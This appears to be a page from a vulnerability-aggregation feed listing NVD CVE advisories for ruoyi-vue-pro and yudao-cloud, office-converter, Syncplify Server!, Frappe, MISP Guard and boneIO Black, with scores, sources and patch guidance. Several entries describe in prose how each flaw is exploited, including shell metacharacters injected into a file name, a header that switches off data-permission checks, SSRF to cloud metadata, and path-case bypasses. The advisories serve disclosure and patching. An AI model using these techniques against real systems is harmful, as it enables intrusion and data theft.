NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability was identified in zhijiantianya ruoyi-vue-pro 2.4.1. Affected is an unknown function of the file /admin-api/infra/file/upload of the component Backend File Upload Interface. Such manipulation of the argument path leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The name of the patch is 4ae3f6b2c9883978837638c14e3d18419819eeb0. Applying a patch is advised to resolve this issue.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store...
https://kevwire.com/record/CVE-2025-2707
A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store... (Mar 24, 2025).
A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store Interface. This manipulation of the argument path causes path traversal. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 4ae3f6b2c9883978837638c14e3d18419819eeb0. It is recommended to apply a patch to fix this issue.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-2707).
Sources:
NVD CVE-2025-2707: https://nvd.nist.gov/vuln/detail/CVE-2025-2707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability was determined in zhijiantianya ruoyi-vue-pro 2.4.1. This impacts an unknown function of the file /app-api/infra/file/upload of the component Front-End Store Interface. This manipulation of the argument path causes path traversal. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. Patch name: 4ae3f6b2c9883978837638c14e3d18419819eeb0. It is recommended to apply a patch to fix this issue.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit.
https://kevwire.com/record/CVE-2025-10277
A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit. (Sep 12, 2025).
A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit. The manipulation of the argument ID results in improper authorization. The attack can be executed remotely. The exploit is now public and may be used. The patch is identified as 0f573e1d8e1a895e1bcbb7740ef75306412c3f9d (master-jdk17). It is best practice to apply a patch to resolve this issue.
CVSS 2.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-10277).
Sources:
NVD CVE-2025-10277: https://nvd.nist.gov/vuln/detail/CVE-2025-10277
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit. The manipulation of the argument ID results in improper authorization. The attack can be executed remotely. The exploit is now public and may be used. The patch is identified as 0f573e1d8e1a895e1bcbb7740ef75306412c3f9d (master-jdk17). It is best practice to apply a patch to resolve this issue.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or...
https://kevwire.com/record/CVE-2020-37282
office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or... (Oct 14, 2026).
office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or generateHtml(). Attackers can embed $(...), backticks, or a closing quote with shell metacharacters in the file name, which is concatenated into an unoconv command run via child_process.exec(), executing commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37282).
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37282&date=2026-10-25).
Sources:
NVD CVE-2020-37282: https://nvd.nist.gov/vuln/detail/CVE-2020-37282
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37282&date=2026-10-25
office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or generateHtml(). Attackers can embed $(...), backticks, or a closing quote with shell metacharacters in the file name, which is concatenated into an unoconv command run via child_process.exec(), executing commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Syncplify Server!
https://kevwire.com/record/CVE-2026-112343
Syncplify Server! (Oct 26, 2026).
Syncplify Server! before 8.8.0 contains an access control bypass vulnerability that allows authenticated SFTP users to evade per-path permission overrides by exploiting case-insensitive filesystem path resolution and 8.3 short names. Attackers can address a protected directory using alternate capitalization or its 8.3 short name to perform file uploads and downloads that the configured override is intended to deny, resulting in unauthorized file access.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112343).
Sources:
NVD CVE-2026-112343: https://nvd.nist.gov/vuln/detail/CVE-2026-112343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Syncplify Server! before 8.8.0 contains an access control bypass vulnerability that allows authenticated SFTP users to evade per-path permission overrides by exploiting case-insensitive filesystem path resolution and 8.3 short names. Attackers can address a protected directory using alternate capitalization or its 8.3 short name to perform file uploads and downloads that the configured override is intended to deny, resulting in unauthorized file access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Syncplify Server!
https://kevwire.com/record/CVE-2026-112344
Syncplify Server! (Oct 26, 2026).
Syncplify Server! before 8.8.0 contains a path traversal vulnerability that allows attackers with a symbolic link placed inside a user's home folder to access files outside the virtual filesystem root because confinement is enforced only against the requested path and not the on-disk destination of the link. Attackers can leverage a symlink or, on Windows, a directory junction that points outside the jail to read or access restricted files beyond the intended home-folder boundary.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112344).
Sources:
NVD CVE-2026-112344: https://nvd.nist.gov/vuln/detail/CVE-2026-112344
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
Syncplify Server! before 8.8.0 contains a path traversal vulnerability that allows attackers with a symbolic link placed inside a user's home folder to access files outside the virtual filesystem root because confinement is enforced only against the requested path and not the on-disk destination of the link. Attackers can leverage a symlink or, on Windows, a directory junction that points outside the jail to read or access restricted files beyond the intended home-folder boundary.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control...
https://kevwire.com/record/CVE-2026-115717
Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control... (Oct 26, 2026).
Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control applied to similar asset-ingest handlers and performs an unprotected requests.get call that follows redirects without re-validating resolved IP addresses. A low-privilege authenticated user can supply an image_url pointing to an internal address or use DNS rebinding and open redirects to make the server fetch internal network resources or cloud metadata endpoints, with successful image responses saved to a world-readable /files/ URL enabling data exfiltration or blind probing of internal hosts.
CVSS 6.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115717).
Sources:
NVD CVE-2026-115717: https://nvd.nist.gov/vuln/detail/CVE-2026-115717
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Frappe Builder versions before 1.36.1 contain a server-side request forgery vulnerability in the convert_to_webp API endpoint, which lacks the has_page_write access control applied to similar asset-ingest handlers and performs an unprotected requests.get call that follows redirects without re-validating resolved IP addresses. A low-privilege authenticated user can supply an image_url pointing to an internal address or use DNS rebinding and open redirects to make the server fetch internal network resources or cloud metadata endpoints, with successful image responses saved to a world-readable /files/ URL enabling data exfiltration or blind probing of internal hosts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to...
https://kevwire.com/record/CVE-2026-116492
Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to... (Oct 26, 2026).
Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to access by querying the get_contact_by_phone_number API, which performs raw database queries without invoking the permission system. Attackers can supply a known phone number to the crm.integrations.api.get_contact_by_phone_number endpoint to retrieve full lead details otherwise blocked by standard API and UI access controls, resulting in unauthorized disclosure of sensitive CRM data.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116492).
Sources:
NVD CVE-2026-116492: https://nvd.nist.gov/vuln/detail/CVE-2026-116492
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to access by querying the get_contact_by_phone_number API, which performs raw database queries without invoking the permission system. Attackers can supply a known phone number to the crm.integrations.api.get_contact_by_phone_number endpoint to retrieve full lead details otherwise blocked by standard API and UI access controls, resulting in unauthorized disclosure of sensitive CRM data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a...
https://kevwire.com/record/CVE-2026-116016
yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a... (Oct 24, 2026).
yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a data-permission-enable header set to false. Attackers can add this header to /admin-api requests, which DataPermissionRpcWebFilter trusts, to read or modify other departments' and users' records within the same tenant.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116016).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-116016&date=2026-10-25).
Sources:
NVD CVE-2026-116016: https://nvd.nist.gov/vuln/detail/CVE-2026-116016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-116016&date=2026-10-25
yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a data-permission-enable header set to false. Attackers can add this header to /admin-api requests, which DataPermissionRpcWebFilter trusts, to read or modify other departments' and users' records within the same tenant.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules.
https://kevwire.com/record/CVE-2026-116372
MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. (Oct 26, 2026).
MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. The process_feed_response method in src/mispguard.py was responsible for evaluating feed responses before they reached the MISP instance. The original logic only explicitly handled the case where the HTTP status code was not 200 by passing the response through without filtering, on the assumption that non-200 responses would not carry ingestible event data. However, HTTP 2xx status codes other than 200 (such as 201 Created, 203 Non-Authoritative Information, and 206 Partial Content) were also passed through unfiltered. Because MISP may still ingest content from these responses, a malicious or compromised feed host could return a 203 or 206 status code with arbitrary content, effectively bypassing all of mispguard's filtering rules. This allowed unfiltered or malicious feed data to be ingested into the MISP instance, undermining the security controls that mispguard is designed to enforce. The vulnerability requires the attacker to control or compromise a feed endpoint configured in the MISP instance. No authentication or user interaction is required beyond the feed polling mechanism already in place.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116372).
Sources:
NVD CVE-2026-116372: https://nvd.nist.gov/vuln/detail/CVE-2026-116372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
MISP mispguard is a security filtering proxy that inspects and blocks MISP feed responses based on configured rules. The process_feed_response method in src/mispguard.py was responsible for evaluating feed responses before they reached the MISP instance. The original logic only explicitly handled the case where the HTTP status code was not 200 by passing the response through without filtering, on the assumption that non-200 responses would not carry ingestible event data. However, HTTP 2xx status codes other than 200 (such as 201 Created, 203 Non-Authoritative Information, and 206 Partial Content) were also passed through unfiltered. Because MISP may still ingest content from these responses, a malicious or compromised feed host could return a 203 or 206 status code with arbitrary content, effectively bypassing all of mispguard's filtering rules. This allowed unfiltered or malicious feed data to be ingested into the MISP instance, undermining the security controls that mispguard is designed to enforce. The vulnerability requires the attacker to control or compromise a feed endpoint configured in the MISP instance. No authentication or user interaction is required beyond the feed polling mechanism already in place.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks.
https://kevwire.com/record/CVE-2026-116469
MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks. (Oct 26, 2026).
MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks. The functions check_required_taxonomy_exists, check_required_taxonomy_tags_allowed, check_blocked_attribute_categories, and check_blocked_analyst_data_sharing_groups_uuids performed case-sensitive string comparisons when matching event tags, attribute categories, and sharing-group UUIDs against configured allow/block lists.

An attacker with the ability to create or modify events in a MISP instance (or a connected instance that pushes events through the guard) could craft events using different letter case in taxonomy tag names, attribute categories, or sharing-group UUIDs to bypass the configured security policies. For example, if the policy requires the 'tlp' taxonomy with only 'tlp:clear' allowed, an event tagged 'TLP:AMBER' would not be recognized as belonging to the 'tlp' taxonomy and would therefore not be checked against the allowed-tags list, resulting in the event being forwarded to feed consumers. Similarly, a blocked attribute category such as 'Person' would not match a configured block entry of 'person', allowing the attribute to pass through the filter.

The security impact is unauthorized disclosure of threat-intelligence data that the operator intended to restrict. Events carrying non-allowed TLP (Traffic Light Protocol) markings, blocked attribute categories, or blocked sharing-group associations are forwarded to downstream feed consumers in violation of the configured distribution policy. This undermines the confidentiality controls that MISP Guard is designed to enforce.

The vulnerability is trivially exploitable: the attacker only needs to alter the letter case of a tag, category, or UUID string. No authentication beyond normal MISP event-creation privileges is required, and no user interaction is needed.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116469).
Sources:
NVD CVE-2026-116469: https://nvd.nist.gov/vuln/detail/CVE-2026-116469
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
MISP Guard, a proxy-based security filter for MISP (Malware Information Sharing Platform) feed distribution, contains a case-sensitivity flaw in multiple policy enforcement checks. The functions check_required_taxonomy_exists, check_required_taxonomy_tags_allowed, check_blocked_attribute_categories, and check_blocked_analyst_data_sharing_groups_uuids performed case-sensitive string comparisons when matching event tags, attribute categories, and sharing-group UUIDs against configured allow/block lists.

An attacker with the ability to create or modify events in a MISP instance (or a connected instance that pushes events through the guard) could craft events using different letter case in taxonomy tag names, attribute categories, or sharing-group UUIDs to bypass the configured security policies. For example, if the policy requires the 'tlp' taxonomy with only 'tlp:clear' allowed, an event tagged 'TLP:AMBER' would not be recognized as belonging to the 'tlp' taxonomy and would therefore not be checked against the allowed-tags list, resulting in the event being forwarded to feed consumers. Similarly, a blocked attribute category such as 'Person' would not match a configured block entry of 'person', allowing the attribute to pass through the filter.

The security impact is unauthorized disclosure of threat-intelligence data that the operator intended to restrict. Events carrying non-allowed TLP (Traffic Light Protocol) markings, blocked attribute categories, or blocked sharing-group associations are forwarded to downstream feed consumers in violation of the configured distribution policy. This undermines the confidentiality controls that MISP Guard is designed to enforce.

The vulnerability is trivially exploitable: the attacker only needs to alter the letter case of a tag, category, or UUID string. No authentication beyond normal MISP event-creation privileges is required, and no user interaction is needed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy.
https://kevwire.com/record/CVE-2026-77052
boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. (Oct 26, 2026).
boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve remote code execution and gain full control over the home automation system.


This issue was fixed in version 1.6.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77052).
Sources:
NVD CVE-2026-77052: https://nvd.nist.gov/vuln/detail/CVE-2026-77052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve remote code execution and gain full control over the home automation system.


This issue was fixed in version 1.6.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### boneIO Black firmware ships with authentication disabled by default.
https://kevwire.com/record/CVE-2026-77053
boneIO Black firmware ships with authentication disabled by default. (Oct 26, 2026).
boneIO Black firmware ships with authentication disabled by default. Its management web API listens on all network interfaces and exposes all endpoints without requiring credentials. An unauthenticated remote attacker can fully control the device, causing denial of service, modifying configuration, and operating connected physical circuits.
This issue was fixed in version 1.6.0: a device without an administrator account refuses API requests until the owner creates one in the first-run wizard, and every API route is restricted to an authenticated role.

Versions before 1.2.0 are based on Debian 10, are no longer supported and cannot be upgraded in place; affected devices should be re-flashed with the 1.6.0 system image.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77053).
Sources:
NVD CVE-2026-77053: https://nvd.nist.gov/vuln/detail/CVE-2026-77053
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
